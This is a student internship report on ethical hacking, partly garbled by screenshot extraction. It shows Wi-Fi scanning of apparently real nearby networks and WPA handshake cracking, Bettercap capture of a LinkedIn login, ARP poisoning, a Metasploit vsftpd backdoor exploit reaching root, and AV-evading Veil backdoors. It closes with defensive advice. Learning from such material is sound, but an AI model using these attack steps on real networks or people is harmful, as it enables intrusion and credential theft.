# **Exploring Ethical Hacking and Methods of Cyber Security** Internship Report, Cluster Innovation Centre, Nikunj Saini



All of us use internet for the most of our works, may it be office work, personal work, social media, or any other platform. We often download files, which include all formats like a document, picture, audio, video or even a software upgrades. To download such files, we often visit torrents or unauthorized websites, where the available software may contain virus which are capable of stealing your data and even granting a third person to operate your entire device. Such people who use data for malicious purposes are called 'Black Hat Hackers'. People who use such viruses to test server security, are called 'White Hat Hackers'. In this project, I have explored numerous ways in which the data can be stolen from your devices and the hacker may get access to your devices. I had also tried to implement methods through which a successful backdoor can be generated for data theft. In the end, I explored the counter measures for such attacks so that our device stays secure from such attacks.



BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC CIPHER	AUTH	ESSID
B4:F9:49:3A:61:75	- 1	Θ	Θ	Θ	3	- 1			<length: 0=""></length:>
50:2B:73:8D:FF:F1	- 37	151	1	Θ	9	270	WPA2 CCMP	PSK	ACTFIBERNET
60:A4:B7:D1:33:08	-66	97	1	Θ	6	270	WPA2 CCMP	PSK	AVYAAN
BC:62:D2:A1:18:37	-67	105	8	Θ	4	270	WPA2 CCMP	PSK	Pratap
BE:62:D2:91:18:37	-67	110	Θ	Θ	4	270	WPA2 CCMP	PSK	www.excitel.com
90:9A:4A:2B:81:BE	- 75	96	87	Θ	11	130	WPA2 CCMP	PSK	Avinash
BE:62:D2:19:75:28	- 77	61	Θ	Θ	13	270	WPA2 CCMP	PSK	www.excitel.com
BC:62:D2:19:75:28	- 78	37	3	Θ	13	270	WPA2 CCMP	PSK	Prabhat2.4G
50:2B:73:90:7D:01	-76	89	Θ	Θ	5	130	WPA2 CCMP	PSK	Khushi
D8:47:32:79:FC:FD	-72	92	Θ	Θ	11	130	WPA2 CCMP	PSK	ACTFIBERNET
88:C9:B3:05:EE:78	-80	51	Θ	Θ	8	130	WPA2 CCMP	PSK	Rakesh 2g
18:F0:E4:9A:57:0B	-81	62	10	Θ	11	65	WPA2 CCMP	PSK	Chandan
0C:0E:76:50:52:A7	-81	25	Θ	Θ	11	270	WPA2 CCMP	PSK	Umesh
50:2B:73:7E:CF:40	-79	39	Θ	Θ	5	130	WPA2 CCMP	PSK	Dobaramatpoochna
60:A4:B7:54:C7:66	-84	45	Θ	Θ	2	270	WPA2 CCMP	PSK	Darpan first floo
3C:84:6A:BA:F6:F9	-84	1	Θ	Θ	8	195	WPA2 CCMP	PSK	Varun
50:2B:73:E8:F7:00	- 77	39	Θ	Θ	1	270	WPA2 CCMP	PSK	Yuvaan
C0:06:C3:8D:66:CD	- 80	50	2	Θ	1	130	WPA2 CCMP	PSK	Pankaj Bhargava
B4:F9:49:70:81:78	-84	25	Θ	Θ	6	130	WPA2 CCMP	PSK	www.excitel.com
B4:F9:49:70:81:75	- 86	40	Θ	Θ	6	130	WPA2 CCMP	PSK	Param
10:27:F5:F1:01:02	- 85	2	Θ	Θ	6	270	WPA2 CCMP	PSK	Amit
5C:A6:E6:91:12:88	- 89	22	Θ	Θ	3	270	WPA2 CCMP	PSK	Jai shree ram
64:FB:92:5D:56:28	- 87	34	Θ	Θ	10	130	WPA2 CCMP	PSK	Milkthoi
64:FB:92:5D:56:29	- 85	43	Θ	Θ	10	130	WPA2 CCMP	PSK	www.excitel.com
46:E4:EE:0F:1E:99	-86	16	Θ	Θ	11	130	WPA2 CCMP	PSK	DIRECT-G2
64:FB:92:58:BD:63	- 88	10	Θ	0	5	130	WPA2 CCMP	PSK	www.excitel.com
54:AF:97:6C:60:97	- 88	35	1	Θ	1	130	WPA2 CCMP	PSK	Disha Rana
1:47:E8:59:11:87	- 89	44	Θ	Θ	1	130	WPA2 CCMP	PSK	Roodra-2.4G

Detecting networks using airodump-ng command on the Linux Terminal.

This shows all the available networks in the vicinity of the router in monitor mode.

The next step is to perform targeted sniffing of the netwrok and capture traffic.



Webpages basically have 3 protocols (HTTP, HTTPS and HSTS). The least secure is the http protocol. To capture data from such websites, we simply use packet sniffers to get the data. To capture the data from websites, we the Bettercap framework of the Kali Linux machine.

dge-Win10-VMware - VMware Workstation 16 Player (Non-commercial use or	ly)		
_yyer ▾ 📕 ▾ ở ֶֹרָ ח		≫ 📮 💿 🛓	
🔁 🕫 🐌 vulnweb - Search 👩 SecurityTweets - HTML5 🗙	+ ~	- a ×	
$\leftarrow$ $\rightarrow$ $\circlearrowright$ $ເaction$ $\textcircled{O}$ testhtml5.vulnweb.com/#/popular	□ ☆	☆ ℓ ピ …	
Securi Login Username Username	x eb Vulnerability Scann	er.	This is how HTTP webpages can be traced and the credentials of the



Targetted sniffing shows all the devices that are connected to the network We then perform deauth attacks to capture the handshake packet

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

9 270 WPA2 CCMP PSK ACTFIBERNE

Lost Frames Notes Probes

125

514







9 ][ Elapsed: 4 mins ][ 2022-11-12 05:50 ][ WPA handshake: 50:2B:73:8D:FF:F1

PWR Rate

0:2B:73:8D:FF:F1 5E:FF:F4:CF:6F:DE -51 0 - 1

50:2B:73:8D:FF:F1 6E:79:4C:CF:03:32 -71 0 - 6e 0

50:2B:73:8D:FF:F1 B2:D9:D9:04:D2:83 -85 5e-1 0

50:2B:73:8D:FF:F1 D8:C0:A6:A1:DC:45 -73 1e-24e 0 587 EAPOL

Once the Password is captured, we can connect to the netwrok and perform MITM attacks on the target.

sing word	15		ונ	pc	)5:	516	ле	; p	as	551	wc		15	•			
[00:02:06] 470	78	8/48	343	76	key	s te	este	ed	(379	90.0	97 I	<td>)</td> <td></td> <td></td> <td></td> <td></td>	)				
Time left: 3 s	ec	onds	5												ç	97.3	19%
		ł	٢EY	FO	JND	! [						]					
Master Key	:	4F	05	38	16	BD	D9	B2	46	83	AC	F1	1D	EF	CC	05	F8
		2B	F8	F6	24	94	98	4F	D3	F2	C0	6F	10	E4	D3	4F	B2
Transient Key	:	5B	92	69	76	B2	77	22	02	1C	36	7A	0E	E5	95	0E	7B
,		A0	C8	C0	1A	84	9B	D7	94	СВ	48	BΘ	00	00	00	00	00
		00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
		00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00



> 🗗 🛞 🔓 🖨 🍕 🖄 🔍

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange; 62&session\_key=username@user.com&ac=0&sIdString=5f840b9b-4651-49ef-975b-0e50ab1220cf&parentPageKey= tance=urn:li:page:checkpoint\_lg\_login\_default;j5cxm28IRcm5ExpthMfjrg==&trk=&authUUID=&session\_redir 5-80df-cae207836a66&fp\_data=default&apfc={"df":{"a":"fvDY00jjaBpaUW+ZTXca0w==","b":null,"c":null,"e ies of undefined (re merateKey')"}}&\_d=d&showGoogleOneTapLogin=true&controlId=d\_ch it\_button&session\_password=Passcode10#st 24 > 192.168.106.128 » [12:34:44] [net.sniff.mdns] mdns fe80::e02d:10ea:5fef:e451 : a630273c-84d2-4533-8678-c64bf2604 [12:34:44] [net.sniff.mdns] mdns fe80::e02d:10ea:5fef:e451 : ad79c0ea-30c5-4456-9783-15a3dcf4e5 VMware - VMware Workstation 16 Player (Non-commercial use only) webpages can be traced - 육 [] 8 Host Name: nkedIn Login, Sign in | LinkedIn 🗙 🕂 downgraded to HTTP and 🛛 🖸 🔺 Not secure | linkedin.com/checkpoint/lg/login?errorKey=unex... 🔌 🛧 🔲 🐻 Inco the credentials of the Linked in target are being recorded Sign in Stay updated on your professional world HSTS webpages can be Email or Phone also captured if redireted username@user.com through a downgraded Password Passcode!@#\$1

# Web Server Hacking - Backdoors

We can also exploit different frameworks of a website using the Zenmap framework. This framework is used to detect the backdoors in the web services so that they can be exploited. Zenmap is only used to gather information about the backdoors. To exploit them, we still have to use the Linux terminal.

Id Name

/Linux

#### Server Side

- 육 🖸 칝

ns Places 👁 Zenr

B

1

stomized by zSecurity 1.0.9 - VMware Workstation 16 Player (Non-commercial use only

## **Post Connection Attacks**

Once we have gained access to the network, we can easily become 'Man in The Middle'. This means that we interrupt the connection between the client and the host through the router. For the router, we become the client and for the client, we become the router. So, all the data will flow through our system.

#### The ARP poisoning attacks woill help us to become the MITM.

d Prompt			
Microsoft Co	orporation. All rights r	reserved.	
\IEUser>arp -	a		
e: 192.168.10	06.131 0x4		
et Address	Physical Address	Туре	
8.106.2	00-50-56-fb-39-43	dynamic	
8.106.254	00-50-56-f2-ec-0e	dynamic	
8.106.255	ff-ff-ff-ff-ff-ff	static	
0.22	01-00-5e-00-00-16	static	
0.251	01-00-5e-00-00-fb	static	
0.252	01-00-5e-00-00-fc	static	
5.255.250	01-00-5e-7f-ff-fa	static	
5.255.255	ff-ff-ff-ff-ff-ff	static	

ARP table for the target Windows VM before ARP poisoning attack

Command Prompt		
licrosoft Windows [Ver (c) 2018 Microsoft Cor	sion 10.0.17763.379] poration. All rights	reserved.
C:\Users\IEUser≻arp -a		
Interface: 192.168.106	.131 0x6	
Internet Address	Physical Address	Туре
192.168.106.2	00-0c-29-ff-bb-e0	dynamic
192.168.106.255	<del>11-11-11-11-11</del>	static
224.0.0.22	01-00-5e-00-00-16	static
224.0.0.251	01-00-5e-00-00-fb	static
224.0.0.252	01-00-5e-00-00-fc	static
239.255.255.250	01-00-5e-7f-ff-fa	static
255.255.255.255	<del>11-11-11-11-11</del>	static
<pre>\Users\IEUser&gt;_</pre>		

ARP table for the target Windows VM after ARP poisoning attack

# Honey Pot - Multiple Targets

Instead of being MITM for one single target, we can be the MITM for multiple targets at the same time. To perform this, we need to have one of the routers that contain the chipset Atheros AR9271 or Realtek AR8812AU.

We first set the router to monitor mode, so that we can keep track of what traffic is flowing. Then we also have to enable Wi-Fi on the Linux machine. Once we set up the router, the communication will take place as shown below.



Zenmap ols Profile Help ▼ Profile: Intense sca 2.168.106.13 nmap -T4 -A -v 192.168.106.130 map - T4 - A - v 192.168.106.130 mpleted NSE at 13:45, 0.00s elapsed Host is up (0.00050s latency Not shown: 977 closed tcp ports (rese PORT STATE SERVICE VERSION FTP server status: Connected to 192.168.106.128 ogged in as ftp TYPE: ASCII No session bandwidth limi Session timeout in seconds is Control connection is plain text Data connections will be plain te vsFTPd 2.3.4 - secure, fast, stabl End of status ftp-anon: Anonymous FTP login allowed (FTP code 230) OpenSSH 4.7pl Debian Subuntu 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) ssl-date: 2022-11-12T19:45:50+00:00; +8s from scanner time Clien

d-Aware Antivirus: Gen:Variant.Trojan.Liev.9	🙂 F	Fortinet: Clean
hnLab V3 Internet Security: Trojan/RL.Generic.R250764	😴 F	-Secure: Heuristic.HEUR/AGEN.1211724
lyac Internet Security: Clean	<b>(</b> )	KARUS: Clean
wast: Win32:Evo-gen [Trj]	Κ.	Kaspersky: HEUR:Trojan.Win32.Generic
VG: Win32:Evo-gen [Trj]	<b>W</b> 1	McAfee: Trojan-Veil-FLRK!A7903EE18472
wira: HEUR/AGEN.1211724	📢 r	Malwarebytes: Generic.Trojan.Malicious.DDS
itDefender: Gen:Variant.Trojan.Liev.9	<b>U</b> F	Panda Antivirus: Clean
ullGuard: HEUR/AGEN.1211724	5	Sophos: Mal/Veil-A
lamAV: Win.Malware.Liev-9646116-0	🥭 1	Frend Micro Internet Security: Clean
omodo Antivirus: Clean	<b>•</b>	Webroot SecureAnywhere: Clean
DrWeb: Clean		
msisoft: Gen:Variant.Trojan.Liev.9	•	Windows 10 Defender: Trojan:Win32/Leivion.S
set NOD32: a variant of Win32/Agent.YXS trojan	ZA Z	Zone Alarm: HEUR:Trojan.Win32.Generic
	<b>V</b> 2	Zillya: Clean

0 Automatic msf6 exploit(unix/ftp/vsftpd\_234\_backdoor) > exploit [\*] 192.168.106.130:21 - Banner: 220 (vsFTPd 2.3.4) [\*] 192.168.106.130:21 - USER: 331 Please specify the password. [+] 192.168.106.130:21 - Backdoor service has been spawned, handling... [+] 192.168.106.130:21 - UID: uid=0(root) gid=0(root) [\*] Found shell. [\*] Command shell session 1 opened (192.168.106.128:44179 -> 192.168.106.130:62 0 ) at 2022-11-12 13:55:24 -0600 id uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

To create the backdoor, we can use Veil framework.

This framework is capable of generating backdoors that can even bypass antivirus tests. One such backdoor created was tested on 26 antivirus and it was detected by 16 of them.

The tested backdoor was one of the simplest backdoor with minimal features. The test results are shown below in the snip.

These backdoors can be sent to the target machine in two ways. 1) By creating a fake update on any of the services of the target machine. This requires the hacker to be in the MITM first and then this attack can be performed.

2) The second method is by Social Engineering. This is a very strong method and does not require the attacker to be the MITM.



### Results

We have come to the conclusion that data can be stolen in many different ways. The steps to steal data are:

- 1) Gain the network access
- 2) Be the MITM
- **3) Detect the target**
- 4) Prepare a map for the type of attacks that need to be run

5) Exploit the target

It is illegal to keep a check on other people's data, so it is not recommended to perform any of the attacks on any person without their consent. All the attacks run in the above test were run on a windows virtual machine.

To protect yourself from such attacks, make sure to follow the following steps:

Use difficult passwords with combination of upper case, lower case, numbers and symbols
 Use ARP-Poisoning attack detectors like XARP

3) Be careful with sites that operate on HTTP protocol

4) Use HTTPS Everywhere and VPN for maximum online security

5) Keep your Anti-virus active all the time

Once we make sure of these 5 things, we can be safe on the internet from black hat hackers and protect ourselves.

In this method, we find a target user and find his/her most visited webpages. Then, we search for the people who are associated with the target. These people include family members, co-workers, etc. Once we find them, we can create a network with which we can directly approach the target and send the trojan.





## Methods of Prevention

To check for ARP Poisoning/MITM attacks, XARP software can be used. This software is capable of detecting the change in the router IP address so that the target can get aware that someone is trying to steal its data.



1. Using HTTPS Everywhere extension for	<b>ATTPS Everywhere</b>	- Free	<ul> <li>Only works with HTTPS websites</li> <li>Visited domains still visible</li> <li>DNS spoofing still possible</li> </ul>
browsrers 2. USing a VPN	VPN	<ul> <li>Encrypts everything</li> <li>Protects from all types of MITM attacks</li> </ul>	<ul> <li>Not free</li> <li>VPN provider can st see the data</li> </ul>
3. Keep Antivirus	HTTPS Everywhere + PN	<ul><li>Encrypts everything</li><li>Protects from all types</li></ul>	- Not Free
updated and che mails carefully before opening	ck		